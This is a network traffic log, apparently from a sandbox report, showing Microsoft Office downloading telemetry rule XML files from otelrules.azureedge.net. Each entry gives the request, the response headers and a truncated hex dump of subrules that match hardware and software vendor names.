2024-11-18 04:57:21 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045721Z-1866b5c5fbbbf2bdhC1DFWu6f400000002e0000000001ftw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:21 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:21 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045721Z-16547b76f7f2b5qzhC1DFWeag400000003hg0000000094gm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:21 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:22 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:22 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045722Z-16547b76f7fsq6p7hC1DFWfx6800000003r000000000h5pa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:22 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:22 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045722Z-16547b76f7fw2955hC1DFWsptc00000005x00000000027yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:22 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:22 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045722Z-164f84587bflm48hhC1DFW0nf8000000020000000000m464 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:22 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:22 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045722Z-164f84587bfghdt4hC1DFWu5nn000000053000000000ckd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:22 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045722Z-16547b76f7fwggrphC1DFW2a8s000000043000000000rvg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:23 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:23 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045723Z-1866b5c5fbbnjgfwhC1DFW3usc00000000eg00000000868m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:23 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:23 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:23 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045723Z-16547b76f7fmcv27hC1DFWgpcg000000041000000000kcu8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:23 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:23 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045723Z-164f84587bf5rpzqhC1DFWmra8000000056g00000000q6en x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:23 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045723Z-16547b76f7fsq6p7hC1DFWfx6800000003w00000000012c6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:23 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:23 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045723Z-1866b5c5fbbls4jchC1DFWnmb400000000kg00000000k48w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:23 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 